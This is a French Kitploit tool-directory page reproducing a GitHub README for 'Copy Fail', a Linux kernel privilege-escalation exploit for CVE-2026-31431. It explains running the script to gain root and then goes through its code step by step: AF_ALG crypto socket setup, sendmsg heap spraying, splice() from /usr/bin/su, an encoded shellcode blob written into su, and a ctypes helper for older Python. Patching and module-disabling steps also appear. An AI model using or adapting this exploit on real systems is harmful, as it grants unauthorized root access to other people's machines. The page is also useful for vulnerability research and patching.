Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-31431 — Copy Fail - CVE-2026-31431 | Kitploit
Outils/GitHubGitHub/juanbindez/cve-2026-31431
Escalade de PrivilègesCriminalistique MémoireAnalyse des VulnérabilitésExploitationShellcodeDéveloppement de Charges UtilesExploitation de Binaires
GitHubjuanbindez/cve-2026-31431

CVE-2026-31431

Copy Fail - CVE-2026-31431

Voir le dépôt
175il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-31431


Copy Fail - Détail de la CVE-2026-31431

https://nvd.nist.gov/vuln/detail/CVE-2026-31431

https://copy.fail/#exploit

https://xint.io/blog/copy-fail-linux-distributions


Distributions testées / Version

DistributionVersion
Ubuntu 24.04 LTS6.17.0-1007-aws
Amazon Linux 20236.18.8-9.213.amzn2023
RHEL 10.16.12.0-124.45.1.el10_1
SUSE 166.12.0-160000.9-default

Exécution de l'exploit

root@kitploit:~
main.py

ID de la commande

root@kitploit:~
id

Si quelque chose comme ceci apparaît, cela signifie que vous avez maintenant un accès root.

image

Le correctif ne prend que quelques minutes.

Option 1 : Mettre à jour votre noyau (recommandé)

root@kitploit:~
For Ubuntu/Debian: sudo apt update, sudo apt upgrade -y
For RHEL-based systems: sudo yum update

Redémarrez ensuite votre serveur.

Option 2 : Désactiver le module concerné (correctif temporaire)

Si une mise à jour immédiate n'est pas possible, désactivez le module vulnérable pour réduire l'exposition :

root@kitploit:~
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true

Cela n'affectera pas SSH, TLS, LUKS ou OpenSSL.


Technique d'attaque : type CVE (API Crypto + splice)

Cela semble exploiter une vulnérabilité dans le sous-système crypto AF_ALG du noyau Linux, combinée à une mauvaise utilisation de splice()/sendmsg() pour :

  • Divulguer des pointeurs du noyau
  • Corrompre le task_struct du processus
  • Élever l'UID à 0 (root)

1. Utilisation du socket AF_ALG (38)

root@kitploit:~
a = s.socket(38, 5, 0)  # AF_ALG = 38 (kernel crypto interface)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
  • Crée un socket cryptographique dans le noyau
  • Configure le chiffrement AES-CBC + HMAC-SHA256
  • Objectif réel : interagir avec les API internes du noyau

2. setsockopt obscur (h=279)

root@kitploit:~
v(h, 1, d('0800010000000010'+'0'*64))  # option 1
v(h, 5, None, 4)                        # option 5 (NULL payload)
  • 279 = ALG_SET_KEY (définit la clé cryptographique)
  • Options non documentées qui exploitent le sous-système ALG
  • Clé '0800010000000010' + zéros — probablement le déclencheur de la vulnérabilité

3. Technique d'attaque principale

root@kitploit:~
u.sendmsg([b"A"*4+c], [
    (h, 3, i*4),           # cmsg level 3 (ALG_OP?)
    (h, 2, b'\x10'+i*19),  # cmsg level 2
    (h, 4, b'\x08'+i*3)    # cmsg level 4
], 32768)
  • sendmsg avec des données annexes (messages de contrôle)
  • Le 'i' (compteur) crée des tailles variables à chaque itération
  • Objectif : heap spraying et corruption de la mémoire du noyau

4. splice() entre tubes

root@kitploit:~
r, w = g.pipe()           # create anonymous pipe
g.splice(f, w, o, offset_src=0)      # copy from file to pipe
g.splice(r, u.fileno(), o)           # copy from pipe to socket

Transfert de données zéro copie entre :

root@kitploit:~
/usr/bin/su (file) → pipe → crypto socket

splice évite les copies utilisateur→noyau → opération entièrement dans l'espace noyau

5. Charge utile décompressée

Données hexadécimales :

root@kitploit:~
78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3

Commence par 78da → en-tête zlib

Le contenu décompressé inclut probablement :

root@kitploit:~
Shellcode (machine code)  
x86_64 privilege escalation instructions  

6. Écriture de la charge utile dans su

root@kitploit:~
while i < len(e):
    c(f, i, e[i:i+4])  # writes 4 bytes of shellcode into su

Corrompt /usr/bin/su en mémoire (pas sur le disque)

Le shellcode est injecté dans le processus su au moment de l'exécution

7. Exécution finale

root@kitploit:~
g.system("su")

[!NOTE] Si la version de Python du système d'exploitation cible est <3.10, utilisez le code ci-dessous pour que cela fonctionne. Mais assurez-vous d'abord de vérifier la disponibilité de l'appel système.

root@kitploit:~
python3 - <<'PY'
import ctypes
libc = ctypes.CDLL("libc.so.6")
print("splice syscall wrapper exists:", hasattr(libc, "splice"))
PY

Ajoutez cet extrait de code sous la section PAYLOAD_COMPRESSED :

root@kitploit:~
_libc = ctypes.CDLL("libc.so.6", use_errno=True)
_libc.splice.restype = ctypes.c_ssize_t
_libc.splice.argtypes = [
    ctypes.c_int,
    ctypes.POINTER(ctypes.c_int64),
    ctypes.c_int,
    ctypes.POINTER(ctypes.c_int64),
    ctypes.c_size_t,
    ctypes.c_uint,
]

def _splice(src, dst, count, offset_src=None, offset_dst=None, flags=0):
    off_in  = ctypes.byref(ctypes.c_int64(offset_src)) if offset_src is not None else None
    off_out = ctypes.byref(ctypes.c_int64(offset_dst)) if offset_dst is not None else None
    ret = _libc.splice(src, off_in, dst, off_out, count, flags)
    if ret < 0:
        errno = ctypes.get_errno()
        raise OSError(errno, os.strerror(errno))
    return ret

Exécute su (changement d'utilisateur) — désormais avec la charge utile corrompue

su modifié renvoie un accès root sans nécessiter de mot de passe

Télécharger l’outil